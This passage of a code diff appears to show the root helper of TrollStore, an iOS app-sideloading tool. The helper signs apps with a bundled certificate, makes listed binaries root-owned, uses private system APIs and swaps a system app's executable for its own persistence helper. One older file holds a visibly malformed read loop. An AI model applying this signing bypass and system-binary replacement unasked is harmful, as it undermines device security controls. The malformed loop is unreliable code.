NSString* ldidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"];
NSMutableArray* argsM = args.mutableCopy ?: [NSMutableArray new];
[argsM insertObject:ldidPath.lastPathComponent atIndex:0];
NSUInteger argCount = [argsM count];
char **argsC = (char **)malloc((argCount + 1) * sizeof(char*));
for (NSUInteger i = 0; i < argCount; i++)
{
argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]);
}
argsC[argCount] = NULL;
posix_spawn_file_actions_t action;
posix_spawn_file_actions_init(&action);
int outErr[2];
pipe(outErr);
posix_spawn_file_actions_adddup2(&action, outErr[1], STDERR_FILENO);
posix_spawn_file_actions_addclose(&action, outErr[0]);
int out[2];
pipe(out);
posix_spawn_file_actions_adddup2(&action, out[1], STDOUT_FILENO);
posix_spawn_file_actions_addclose(&action, out[0]);
pid_t task_pid;
int status = -200;
int spawnError = posix_spawn(&task_pid, [ldidPath UTF8String], &action, NULL, (char* const*)argsC, NULL);
for (NSUInteger i = 0; i < argCount; i++)
{
free(argsC[i]);
}
free(argsC);
if(spawnError != 0)
{
NSLog(@"posix_spawn error %d\n", spawnError);
return spawnError;
}
do
{
if (waitpid(task_pid, &status, 0) != -1) {
//printf("Child status %dn", WEXITSTATUS(status));
} else
{
perror("waitpid");
return -222;
}
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
close(outErr[1]);
close(out[1]);
NSString* ldidOutput = getNSStringFromFile(out[0]);
if(output)
{
*output = ldidOutput;
}
NSString* ldidErrorOutput = getNSStringFromFile(outErr[0]);
if(errorOutput)
{
*errorOutput = ldidErrorOutput;
}
return WEXITSTATUS(status);
}
NSString* dumpEntitlements(NSString* binaryPath)
{
NSString* output;
NSString* errorOutput;
int ldidRet = runLdid(@[@"-e", binaryPath], &output, &errorOutput);
NSLog(@"entitlements dump exited with status %d", ldidRet);
NSLog(@"- dump error output start -");
printMultilineNSString(errorOutput);
NSLog(@"- dump error output end -");
NSLog(@"- dumped entitlements output start -");
printMultilineNSString(output);
NSLog(@"- dumped entitlements output end -");
return output;
}
BOOL signApp(NSString* appPath, NSError** error)
{
if(!isLdidInstalled()) return NO;
NSDictionary* appInfoDict = [NSDictionary dictionaryWithContentsOfFile:[appPath stringByAppendingPathComponent:@"Info.plist"]];
if(!appInfoDict) return NO;
NSString* executable = appInfoDict[@"CFBundleExecutable"];
NSString* executablePath = [appPath stringByAppendingPathComponent:executable];
if(![[NSFileManager defaultManager] fileExistsAtPath:executablePath]) return NO;
NSString* certPath = [trollStoreAppPath() stringByAppendingPathComponent:@"cert.p12"];
NSString* certArg = [@"-K" stringByAppendingPathComponent:certPath];
NSString* errorOutput;
int ldidRet;
NSString* entitlements = dumpEntitlements(executablePath);
if(entitlements.length == 0)
{
NSLog(@"app main binary has no entitlements, signing app with fallback entitlements...");
// app has no entitlements, sign with fallback entitlements
NSString* entitlementPath = [trollStoreAppPath() stringByAppendingPathComponent:@"fallback.entitlements"];
NSString* entitlementArg = [@"-S" stringByAppendingString:entitlementPath];
ldidRet = runLdid(@[entitlementArg, certArg, appPath], nil, &errorOutput);
}
else
{
// app has entitlements, keep them
ldidRet = runLdid(@[@"-S", @"-M", certArg, appPath], nil, &errorOutput);
}
NSLog(@"ldid exited with status %d", ldidRet);
NSLog(@"- ldid error output start -");
printMultilineNSString(errorOutput);
NSLog(@"- ldid error output end -");
return ldidRet == 0;
}
BOOL installApp(NSString* appPath, BOOL sign, NSError** error)
{
NSString* appId = appIdForAppPath(appPath);
if(!appId) return NO;
if(sign)
{
// if it fails to sign, we don't care
signApp(appPath, error);
}
BOOL existed;
NSError* mcmError;
MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:appId createIfNecessary:YES existed:&existed error:&mcmError];
NSLog(@"[installApp] appContainer: %@, mcmError: %@", appContainer, mcmError);
if(!appContainer || mcmError)
{
if(error) *error = mcmError;
return NO;
}
// Make sure there isn't already an app store app installed with the same identifier
NSURL* trollStoreMarkURL = [appContainer.url URLByAppendingPathComponent:@"_TrollStore"];
if(existed && ![trollStoreMarkURL checkResourceIsReachableAndReturnError:nil])
{
NSLog(@"[installApp] already installed and not a TrollStore app... bailing out");
return NO;
}
// Apply correct permissions
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:[NSURL fileURLWithPath:appPath] includingPropertiesForKeys:nil options:0 errorHandler:nil];
NSURL* fileURL;
while(fileURL = [enumerator nextObject])
{
NSString* filePath = fileURL.path;
chown(filePath.UTF8String, 33, 33);
if([filePath.lastPathComponent isEqualToString:@"Info.plist"])
{
NSDictionary* infoDictionary = [NSDictionary dictionaryWithContentsOfFile:filePath];
NSString* executable = infoDictionary[@"CFBundleExecutable"];
if(executable)
{
NSString* executablePath = [[filePath stringByDeletingLastPathComponent] stringByAppendingPathComponent:executable];
chmod(executablePath.UTF8String, 0755);
}
}
else if([filePath.pathExtension isEqualToString:@"dylib"])
{
chmod(filePath.UTF8String, 0755);
}
}
// chown 0 all root binaries
NSDictionary* mainInfoDictionary = [NSDictionary dictionaryWithContentsOfFile:[appPath stringByAppendingPathComponent:@"Info.plist"]];
if(!mainInfoDictionary) return NO;
NSObject* tsRootBinaries = mainInfoDictionary[@"TSRootBinaries"];
if([tsRootBinaries isKindOfClass:[NSArray class]])
{
NSArray* tsRootBinariesArr = (NSArray*)tsRootBinaries;
for(NSObject* rootBinary in tsRootBinariesArr)
{
if([rootBinary isKindOfClass:[NSString class]])
{
NSString* rootBinaryStr = (NSString*)rootBinary;
NSString* rootBinaryPath = [appPath stringByAppendingPathComponent:rootBinaryStr];
if([[NSFileManager defaultManager] fileExistsAtPath:rootBinaryPath])
{
chmod(rootBinaryPath.UTF8String, 0755);
chown(rootBinaryPath.UTF8String, 0, 0);
NSLog(@"[installApp] applying permissions for root binary %@", rootBinaryPath);
}
}
}
}
// Wipe old version if needed
if(existed)
{
NSLog(@"[installApp] found existing TrollStore app, cleaning directory");
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:appContainer.url includingPropertiesForKeys:nil options:0 errorHandler:nil];
NSURL* fileURL;
while(fileURL = [enumerator nextObject])
{
// do not under any circumstance delete this file as it makes iOS loose the app registration
if([fileURL.lastPathComponent isEqualToString:@".com.apple.mobile_container_manager.metadata.plist"])
{
NSLog(@"[installApp] skip removal of %@", fileURL);
continue;
}
[[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
}
}
// Install app
NSString* newAppPath = [appContainer.url.path stringByAppendingPathComponent:appPath.lastPathComponent];
NSLog(@"[installApp] new app path: %@", newAppPath);
BOOL suc = [[NSFileManager defaultManager] copyItemAtPath:appPath toPath:newAppPath error:error];
if(suc)
{
// Mark app as TrollStore app
[[NSFileManager defaultManager] createFileAtPath:trollStoreMarkURL.path contents:[NSData data] attributes:nil];
NSLog(@"[installApp] app installed, adding to icon cache now...");
registerPath((char*)newAppPath.UTF8String, 0);
return YES;
}
else
{
return suc;
}
}
BOOL uninstallApp(NSString* appId, NSError** error)
{
NSString* appPath = appPathForAppId(appId, error);
if(!appPath) return NO;
LSApplicationProxy* appProxy = [LSApplicationProxy applicationProxyForIdentifier:appId];
NSLog(@"appProxy: %@", appProxy);
MCMContainer *appContainer = [objc_getClass("MCMAppDataContainer") containerWithIdentifier:appId createIfNecessary:NO existed:nil error:nil];
NSString *containerPath = [appContainer url].path;
if(containerPath)
{
NSLog(@"deleting %@", containerPath);
// delete app container path
[[NSFileManager defaultManager] removeItemAtPath:containerPath error:error];
}
// delete group container paths
for(NSURL* groupURL in [appProxy groupContainerURLs])
{
[[NSFileManager defaultManager] removeItemAtPath:groupURL.path error:error];
NSLog(@"deleting %@", groupURL.path);
}
// delete app plugin paths
for(LSPlugInKitProxy* pluginProxy in appProxy.plugInKitPlugins)
{
NSURL* pluginURL = pluginProxy.dataContainerURL;
if(pluginURL)
{
[[NSFileManager defaultManager] removeItemAtPath:pluginURL.path error:error];
NSLog(@"deleting %@", pluginURL.path);
}
}
// unregister app
registerPath((char*)appPath.UTF8String, 1);
NSLog(@"deleting %@", [appPath stringByDeletingLastPathComponent]);
// delete app
return [[NSFileManager defaultManager] removeItemAtPath:[appPath stringByDeletingLastPathComponent] error:error];
}
BOOL installIpa(NSString* ipaPath, NSError** error)
{
BOOL suc = NO;
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:error];
if(!suc) return NO;
extract(ipaPath, tmpPath);
NSString* tmpPayloadPath = [tmpPath stringByAppendingPathComponent:@"Payload"];
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:tmpPayloadPath error:error];
if(!items) return NO;
NSString* tmpAppPath;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
tmpAppPath = [tmpPayloadPath stringByAppendingPathComponent:item];
break;
}
}
if(!tmpAppPath) return NO;
suc = installApp(tmpAppPath, YES, error);
[[NSFileManager defaultManager] removeItemAtPath:tmpAppPath error:nil];
return suc;
}
void uninstallAllApps(void)
{
for(NSString* appPath in trollStoreInstalledAppBundlePaths())
{
uninstallApp(appIdForAppPath(appPath), nil);
}
}
BOOL uninstallTrollStore(BOOL unregister)
{
NSString* trollStore = trollStorePath();
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStore]) return NO;
if(unregister)
{
registerPath((char*)trollStoreAppPath().UTF8String, 1);
}
return [[NSFileManager defaultManager] removeItemAtPath:trollStore error:nil];
}
BOOL installTrollStore(NSString* pathToTar)
{
//_CFPreferencesCopyValueWithContainerType _CFPreferencesCopyValueWithContainer = (_CFPreferencesCopyValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesCopyValueWithContainer");
_CFPreferencesSetValueWithContainerType _CFPreferencesSetValueWithContainer = (_CFPreferencesSetValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSetValueWithContainer");
_CFPreferencesSynchronizeWithContainerType _CFPreferencesSynchronizeWithContainer = (_CFPreferencesSynchronizeWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSynchronizeWithContainer");
/*CFPropertyListRef SBShowNonDefaultSystemAppsValue = _CFPreferencesCopyValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
if(SBShowNonDefaultSystemAppsValue != kCFBooleanTrue)
{*/
_CFPreferencesSetValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), kCFBooleanTrue, CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
_CFPreferencesSynchronizeWithContainer(CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
//NSLog(@"unrestricted springboard apps");
/*}*/
if(![[NSFileManager defaultManager] fileExistsAtPath:pathToTar]) return NO;
if(![pathToTar.pathExtension isEqualToString:@"tar"]) return NO;
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
BOOL suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:nil];
if(!suc) return NO;
extract(pathToTar, tmpPath);
NSString* tmpTrollStore = [tmpPath stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpTrollStore]) return NO;
// Save existing ldid installation if it exists
NSString* existingLdidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"];
if([[NSFileManager defaultManager] fileExistsAtPath:existingLdidPath])
{
NSString* tmpLdidPath = [tmpTrollStore stringByAppendingPathComponent:@"ldid"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpLdidPath])
{
[[NSFileManager defaultManager] copyItemAtPath:existingLdidPath toPath:tmpLdidPath error:nil];
}
}
// Update persistence helper if installed
LSApplicationProxy* persistenceHelperApp = findPersistenceHelperApp();
if(persistenceHelperApp)
{
NSString* trollStorePersistenceHelper = [tmpTrollStore stringByAppendingPathComponent:@"PersistenceHelper"];
NSString* trollStoreRootHelper = [tmpTrollStore stringByAppendingPathComponent:@"trollstorehelper"];
_installPersistenceHelper(persistenceHelperApp, trollStorePersistenceHelper, trollStoreRootHelper);
}
return installApp(tmpTrollStore, NO, nil);;
}
void refreshAppRegistrations()
{
//registerPath((char*)trollStoreAppPath().UTF8String, 1);
registerPath((char*)trollStoreAppPath().UTF8String, 0);
for(NSString* appPath in trollStoreInstalledAppBundlePaths())
{
//registerPath((char*)appPath.UTF8String, 1);
registerPath((char*)appPath.UTF8String, 0);
}
}
BOOL _installPersistenceHelper(LSApplicationProxy* appProxy, NSString* sourcePersistenceHelper, NSString* sourceRootHelper)
{
NSLog(@"_installPersistenceHelper(%@, %@, %@)", appProxy, sourcePersistenceHelper, sourceRootHelper);
NSString* executablePath = appProxy.canonicalExecutablePath;
NSString* bundlePath = appProxy.bundleURL.path;
if(!executablePath)
{
NSBundle* appBundle = [NSBundle bundleWithPath:bundlePath];
executablePath = [bundlePath stringByAppendingPathComponent:[appBundle objectForInfoDictionaryKey:@"CFBundleExecutable"]];
}
NSString* markPath = [bundlePath stringByAppendingPathComponent:@".TrollStorePersistenceHelper"];
NSString* helperPath = [bundlePath stringByAppendingPathComponent:@"trollstorehelper"];
// remove existing persistence helper binary if exists
if([[NSFileManager defaultManager] fileExistsAtPath:markPath] && [[NSFileManager defaultManager] fileExistsAtPath:executablePath])
{
[[NSFileManager defaultManager] removeItemAtPath:executablePath error:nil];
}
// remove existing root helper binary if exists
if([[NSFileManager defaultManager] fileExistsAtPath:helperPath])
{
[[NSFileManager defaultManager] removeItemAtPath:helperPath error:nil];
}
// install new persistence helper binary
if(![[NSFileManager defaultManager] copyItemAtPath:sourcePersistenceHelper toPath:executablePath error:nil])
{
return NO;
}
chmod(executablePath.UTF8String, 0755);
chown(executablePath.UTF8String, 33, 33);
NSError* error;
if(![[NSFileManager defaultManager] copyItemAtPath:sourceRootHelper toPath:helperPath error:&error])
{
NSLog(@"error copying root helper: %@", error);
}
chmod(helperPath.UTF8String, 0755);
chown(helperPath.UTF8String, 0, 0);
// mark system app as persistence helper
if(![[NSFileManager defaultManager] fileExistsAtPath:markPath])
{
[[NSFileManager defaultManager] createFileAtPath:markPath contents:[NSData data] attributes:nil];
}
return YES;
}
void installPersistenceHelper(NSString* systemAppId)
{
if(findPersistenceHelperApp()) return;
NSString* persistenceHelperBinary = [trollStoreAppPath() stringByAppendingPathComponent:@"PersistenceHelper"];
NSString* rootHelperBinary = [trollStoreAppPath() stringByAppendingPathComponent:@"trollstorehelper"];
LSApplicationProxy* appProxy = [LSApplicationProxy applicationProxyForIdentifier:systemAppId];
if(!appProxy || ![appProxy.bundleType isEqualToString:@"System"]) return;
NSString* executablePath = appProxy.canonicalExecutablePath;
NSString* bundlePath = appProxy.bundleURL.path;
NSString* backupPath = [bundlePath stringByAppendingPathComponent:[[executablePath lastPathComponent] stringByAppendingString:@"_TROLLSTORE_BACKUP"]];
if([[NSFileManager defaultManager] fileExistsAtPath:backupPath]) return;
if(![[NSFileManager defaultManager] moveItemAtPath:executablePath toPath:backupPath error:nil]) return;
if(!_installPersistenceHelper(appProxy, persistenceHelperBinary, rootHelperBinary))
{
[[NSFileManager defaultManager] moveItemAtPath:backupPath toPath:executablePath error:nil];
return;
}
BKSTerminateApplicationForReasonAndReportWithDescription(systemAppId, 5, false, @"TrollStore - Reload persistence helper");
}
void uninstallPersistenceHelper(void)
{
LSApplicationProxy* appProxy = findPersistenceHelperApp();
if(appProxy)
{
NSString* executablePath = appProxy.canonicalExecutablePath;
NSString* bundlePath = appProxy.bundleURL.path;
NSString* backupPath = [bundlePath stringByAppendingPathComponent:[[executablePath lastPathComponent] stringByAppendingString:@"_TROLLSTORE_BACKUP"]];
if(![[NSFileManager defaultManager] fileExistsAtPath:backupPath]) return;
NSString* helperPath = [bundlePath stringByAppendingPathComponent:@"trollstorehelper"];
NSString* markPath = [bundlePath stringByAppendingPathComponent:@".TrollStorePersistenceHelper"];
[[NSFileManager defaultManager] removeItemAtPath:executablePath error:nil];
[[NSFileManager defaultManager] removeItemAtPath:markPath error:nil];
[[NSFileManager defaultManager] removeItemAtPath:helperPath error:nil];
[[NSFileManager defaultManager] moveItemAtPath:backupPath toPath:executablePath error:nil];
BKSTerminateApplicationForReasonAndReportWithDescription(appProxy.bundleIdentifier, 5, false, @"TrollStore - Reload persistence helper");
}
}
int main(int argc, char *argv[], char *envp[]) {
@autoreleasepool {
if(argc <= 1) return -1;
NSLog(@"trollstore helper go, uid: %d, gid: %d", getuid(), getgid());
NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"];
[mcmBundle load];
BOOL suc = NO;
NSError* error;
NSString* cmd = [NSString stringWithUTF8String:argv[1]];
if([cmd isEqualToString:@"install"])
{
if(argc <= 2) return -2;
NSString* ipaPath = [NSString stringWithUTF8String:argv[2]];
suc = installIpa(ipaPath, &error);
} else if([cmd isEqualToString:@"uninstall"])
{
if(argc <= 2) return -2;
NSString* appId = [NSString stringWithUTF8String:argv[2]];
suc = uninstallApp(appId, &error);
} else if([cmd isEqualToString:@"install-trollstore"])
{
if(argc <= 2) return -2;
NSString* tsTar = [NSString stringWithUTF8String:argv[2]];
suc = installTrollStore(tsTar);
NSLog(@"installed troll store? %d", suc);
} else if([cmd isEqualToString:@"uninstall-trollstore"])
{
uninstallAllApps();
uninstallTrollStore(YES);
} else if([cmd isEqualToString:@"install-ldid"])
{
if(argc <= 2) return -2;
NSString* ldidPath = [NSString stringWithUTF8String:argv[2]];
installLdid(ldidPath);
} else if([cmd isEqualToString:@"refresh"])
{
refreshAppRegistrations();
} else if([cmd isEqualToString:@"refresh-all"])
{
[[LSApplicationWorkspace defaultWorkspace] _LSPrivateRebuildApplicationDatabasesForSystemApps:YES internal:YES user:YES];
refreshAppRegistrations();
} else if([cmd isEqualToString:@"install-persistence-helper"])
{
if(argc <= 2) return -2;
NSString* systemAppId = [NSString stringWithUTF8String:argv[2]];
installPersistenceHelper(systemAppId);
} else if([cmd isEqualToString:@"uninstall-persistence-helper"])
{
uninstallPersistenceHelper();
}
if(error)
{
NSLog(@"error: %@", error);
}
return !suc;
}
}

351
Helper/main.m-system Normal file
View File

@ -0,0 +1,351 @@
#import <stdio.h>
#import "unarchive.h"
@import Foundation;
#import "uicache.h"
#import <sys/stat.h>
#import <dlfcn.h>
#import <spawn.h>
#import "path.h"
#import "CoreServices.h"
#import <objc/runtime.h>
#define kCFPreferencesNoContainer CFSTR("kCFPreferencesNoContainer")
typedef CFPropertyListRef (*_CFPreferencesCopyValueWithContainerType)(CFStringRef key, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef void (*_CFPreferencesSetValueWithContainerType)(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef Boolean (*_CFPreferencesSynchronizeWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef CFArrayRef (*_CFPreferencesCopyKeyListWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef CFDictionaryRef (*_CFPreferencesCopyMultipleWithContainerType)(CFArrayRef keysToFetch, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
extern char*** _NSGetArgv();
NSString* safe_getExecutablePath()
{
char* executablePathC = **_NSGetArgv();
return [NSString stringWithUTF8String:executablePathC];
}
NSDictionary* infoDictionaryForAppPath(NSString* appPath)
{
NSString* infoPlistPath = [appPath stringByAppendingPathComponent:@"Info.plist"];
return [NSDictionary dictionaryWithContentsOfFile:infoPlistPath];
}
NSString* appIdForAppPath(NSString* appPath)
{
return infoDictionaryForAppPath(appPath)[@"CFBundleIdentifier"];
}
NSString* appPathForAppId(NSString* appId, NSError** error)
{
NSString* appPath = [TROLLSTORE_APPLICATIONS_PATH stringByAppendingPathComponent:appId];
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appPath error:error];
if(!items) return nil;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
return [appPath stringByAppendingPathComponent:item];
}
}
return nil;
}
static void dump_file_content(int fd)
{
ssize_t num_read;
char line_buf[256];
int cur_pos = 0;
for (;;)
{
char c;
num_read = read(fd, &c, sizeof(c));
if(num_read <= 0)
if(c == '\n' || cur_pos >= 255 || num_read <= 0)
{
line_buf[cur_pos] = '\n';
NSLog(@"%s", (char*)line_buf);
if(c == '\n') cur_pos++;
if(num_read > 0)
{
continue;
}
else
{
break;
}
}
line_buf[cur_pos++] = c;
}
}
BOOL signApp(NSString* appPath, NSError** error)
{
NSString* ldidPath = [[safe_getExecutablePath() stringByDeletingLastPathComponent] stringByAppendingPathComponent:@"ldid"];
if(![[NSFileManager defaultManager] fileExistsAtPath:ldidPath])
{
NSLog(@"WARNING: ldid not found, not signing application");
return NO;
}
NSString* certPath = [TROLLSTORE_MAIN_PATH stringByAppendingPathComponent:@"TrollStore.app/cert.p12"];
NSString* certArg = [@"-K" stringByAppendingPathComponent:certPath];
int out[2];
posix_spawn_file_actions_t action;
posix_spawn_file_actions_init(&action);
pipe(out);
posix_spawn_file_actions_adddup2(&action, out[1], STDERR_FILENO);
posix_spawn_file_actions_addclose(&action, out[0]);
char* args[] = { "ldid", "-S", "-M", (char*)certArg.UTF8String, (char*)appPath.UTF8String, NULL };
NSLog(@"%@ ldid -S -M %@ %@", ldidPath, certArg, appPath);
pid_t task_pid;
int status = -200;
int spawnError = posix_spawn(&task_pid, [ldidPath UTF8String], &action, NULL, args, NULL);
if(spawnError != 0)
{
NSLog(@"posix_spawn error %d\n", spawnError);
return spawnError;
}
waitpid(task_pid, &status, WEXITED);
NSLog(@"ldid exited with status %d", status);
waitpid(task_pid, &status, 0);
NSLog(@"ldid exited with status %d", status);
NSLog(@"ldid output:");
close(out[1]);
dump_file_content(out[0]);
NSLog(@"end ldid output:");
return status == 0;
}
BOOL installApp(NSString* appPath, NSString* appId, BOOL sign, NSError** error)
{
if(sign)
{
// if it fails to sign, we don't care
signApp(appPath, error);
}
BOOL existed;
NSError* mcmError;
MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:appId createIfNecessary:YES existed:&existed error:&mcmError];
NSLog(@"installApp appContainer: %@, mcmError: %@", appContainer, mcmError);
if(!appContainer || mcmError)
{
if(error) *error = mcmError;
return NO;
}
//TODO: if TrollStore, preserve by moving it into appPath if needed ldid if needed
NSURL* trollStoreMarkURL = [appContainer.url URLByAppendingPathComponent:@"_TrollStore"];
if(existed)
{
// trying to update an app not installed by TrollStore... bailing out
if(![trollStoreMarkURL checkResourceIsReachableAndReturnError:nil])
{
NSLog(@"installApp already installed and not a TrollStore app... bailing out");
return NO;
}
else
{
// update existing app... clean old app directory
NSLog(@"installApp found existing TrollStore app, cleaning directory");
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:appContainer.url includingPropertiesForKeys:nil options:0 errorHandler:nil];
NSURL* fileURL;
while(fileURL = [enumerator nextObject])
{
[[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
}
}
}
[[NSFileManager defaultManager] createFileAtPath:trollStoreMarkURL.path contents:[NSData data] attributes:nil];
NSString* newAppPath = [appContainer.url.path stringByAppendingPathComponent:appPath.lastPathComponent];
NSLog(@"installApp new app path: %@", newAppPath);
BOOL suc = [[NSFileManager defaultManager] copyItemAtPath:appPath toPath:newAppPath error:error];
NSLog(@"installApp copied app? %d, adding to uicache now...", suc);
registerPath((char*)newAppPath.UTF8String, 0);
return YES;
}
BOOL uninstallApp(NSString* appId, NSError** error)
{
NSString* appPath = appPathForAppId(appId, error);
if(!appPath) return NO;
registerPath((char*)appPath.UTF8String, 1);
return [[NSFileManager defaultManager] removeItemAtPath:[appPath stringByDeletingLastPathComponent] error:error];
}
BOOL installIpa(NSString* ipaPath, NSError** error)
{
BOOL suc = NO;
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:error];
if(!suc) return NO;
extract(ipaPath, tmpPath);
NSString* tmpPayloadPath = [tmpPath stringByAppendingPathComponent:@"Payload"];
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:tmpPayloadPath error:error];
if(!items) return NO;
NSString* tmpAppPath;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
tmpAppPath = [tmpPayloadPath stringByAppendingPathComponent:item];
break;
}
}
if(!tmpAppPath) return NO;
NSString* appId = appIdForAppPath(tmpAppPath);
suc = installApp(tmpAppPath, appId, YES, error);
[[NSFileManager defaultManager] removeItemAtPath:tmpAppPath error:nil];
return suc;
}
void uninstallAllApps(void)
{
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:TROLLSTORE_APPLICATIONS_PATH error:nil];
for(NSString* appId in items)
{
NSString* appPath = appPathForAppId(appId, nil);
registerPath((char*)appPath.UTF8String, 1);
}
[[NSFileManager defaultManager] removeItemAtPath:TROLLSTORE_ROOT_PATH error:nil];
}
BOOL uninstallTrollStore(void)
{
NSString* trollStore = [TROLLSTORE_MAIN_PATH stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStore]) return NO;
registerPath((char*)trollStore.UTF8String, 1);
return [[NSFileManager defaultManager] removeItemAtPath:trollStore error:nil];
}
BOOL installTrollStore(NSString* pathToTar)
{
_CFPreferencesSetValueWithContainerType _CFPreferencesSetValueWithContainer = (_CFPreferencesSetValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSetValueWithContainer");
_CFPreferencesSynchronizeWithContainerType _CFPreferencesSynchronizeWithContainer = (_CFPreferencesSynchronizeWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSynchronizeWithContainer");
_CFPreferencesSetValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), kCFBooleanTrue, CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
_CFPreferencesSynchronizeWithContainer(CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
if(![[NSFileManager defaultManager] fileExistsAtPath:pathToTar]) return NO;
if(![pathToTar.pathExtension isEqualToString:@"tar"]) return NO;
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
BOOL suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:nil];
if(!suc) return NO;
extract(pathToTar, tmpPath);
NSLog(@"installTrollStore extracted %@ to %@", pathToTar, tmpPath);
NSString* tmpTrollStore = [tmpPath stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpTrollStore]) return NO;
NSLog(@"installTrollStore temp TrollStore path: %@", tmpTrollStore);
NSString* tmpTrollStoreMain = [tmpTrollStore stringByAppendingPathComponent:@"TrollStore"];
NSString* tmpTrollStoreRootHelper = [tmpTrollStore stringByAppendingPathComponent:@"trollstorehelper"];
NSString* tmpTrollStoreLdid = [tmpTrollStore stringByAppendingPathComponent:@"ldid"];
// make executable
chmod(tmpTrollStoreMain.UTF8String, 0755);
chmod(tmpTrollStoreRootHelper.UTF8String, 0755);
chmod(tmpTrollStoreLdid.UTF8String, 0755);
// set owners
chown(tmpTrollStoreMain.UTF8String, 33, 33);
chown(tmpTrollStoreRootHelper.UTF8String, 0, 0); // set root helper binary owner to root
chown(tmpTrollStoreLdid.UTF8String, 0, 0);
NSLog(@"installTrollStore extracted and prepared TrollStore app, now installing...");
installApp(tmpTrollStore, @"com.apple.TrollStore", NO, nil);
[[NSFileManager defaultManager] removeItemAtPath:tmpPath error:nil];
return YES;
}
int main(int argc, char *argv[], char *envp[]) {
@autoreleasepool {
if(argc <= 1) return -1;
NSLog(@"trollstore helper go, uid: %d, gid: %d", getuid(), getgid());
NSLog(@"ok %d", argc);
NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"];
[mcmBundle load];
BOOL suc = NO;
NSError* error;
NSString* cmd = [NSString stringWithUTF8String:argv[1]];
if([cmd isEqualToString:@"install"])
{
if(argc <= 2) return -2;
NSString* ipaPath = [NSString stringWithUTF8String:argv[2]];
suc = installIpa(ipaPath, &error);
} else if([cmd isEqualToString:@"uninstall"])
{
if(argc <= 2) return -2;
NSString* appId = [NSString stringWithUTF8String:argv[2]];
suc = uninstallApp(appId, &error);
} else if([cmd isEqualToString:@"install-trollstore"])
{
if(argc <= 2) return -2;
NSString* tsTar = [NSString stringWithUTF8String:argv[2]];
suc = installTrollStore(tsTar);
NSLog(@"installed troll store? %d", suc);
} else if([cmd isEqualToString:@"uninstall-trollstore"])
{
uninstallTrollStore();
uninstallAllApps();
}
if(!suc)
{
NSLog(@"error: %@", error);
}
return !suc;
}
}

1
Helper/uicache.h Normal file
View File

@ -0,0 +1 @@
extern void registerPath(char *path, int unregister);

92
Helper/uicache.m Normal file
View File

@ -0,0 +1,92 @@
@import Foundation;
@import CoreServices;
#import "CoreServices.h"
#import <objc/runtime.h>
#import "dlfcn.h"
void registerPath(char *path, int unregister)
{
if(!path) return;
